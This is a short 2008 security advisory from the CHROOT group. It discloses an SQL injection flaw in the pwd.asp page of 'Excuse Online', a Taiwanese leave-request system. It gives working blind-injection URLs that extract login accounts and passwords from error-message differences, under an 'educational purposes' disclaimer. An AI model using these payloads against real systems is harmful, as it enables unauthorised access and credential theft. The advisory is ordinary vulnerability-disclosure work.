Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:19918
HistoryMay 27, 2008 - 12:00 a.m.

Excuse Online (pwd) SQL Injection Vulnerability

2008-05-2700:00:00
vulners.com
19

/ | || | _ \| _ | _ | |
| (
| _ | [)/| () | () | | |
\_____|
| ||| ||||| ||
C. H. R. O. O. T. SECURITY GROUP
- – ----- — – – ---- — – -
http://www.chroot.org

                 _   _ _ _____ ____ ____ __  _ 

Hacks In Taiwan | || | | | | | \| |
Conference 2008 | _ | | | | | (
| () | |
|
| ||| || \|||\__|
http://www.hitcon.org

Title :: Excuse Online (pwd) SQL Injection Vulnerability

Author :: unohope [at] chroot [dot] org

IRC :: irc.chroot.org #chroot

ScriptName :: 線上請假系統

Download :: http://netlab.kh.edu.tw/download/excuse.rar

Mirror :: http://www.badongo.com/file/9514356


[SQL Injection]

  • {pwd.asp} -

http://localhost/excuse/MainProgram/pwd.asp?pwd=blah&pID='+or+登入碼+like+'%25 //
for login account

http://localhost/excuse/MainProgram/pwd.asp?pwd=blah&pID='+or+密碼+like+'%25 // for
login password

If matched then return "Input Error in Account",
else return "Can Not Find The Account",
try error till you got it!


[NOTE]

!! This is just for educational purposes, DO NOT use for illegal. !!

2008/5/24 - chrO.ot group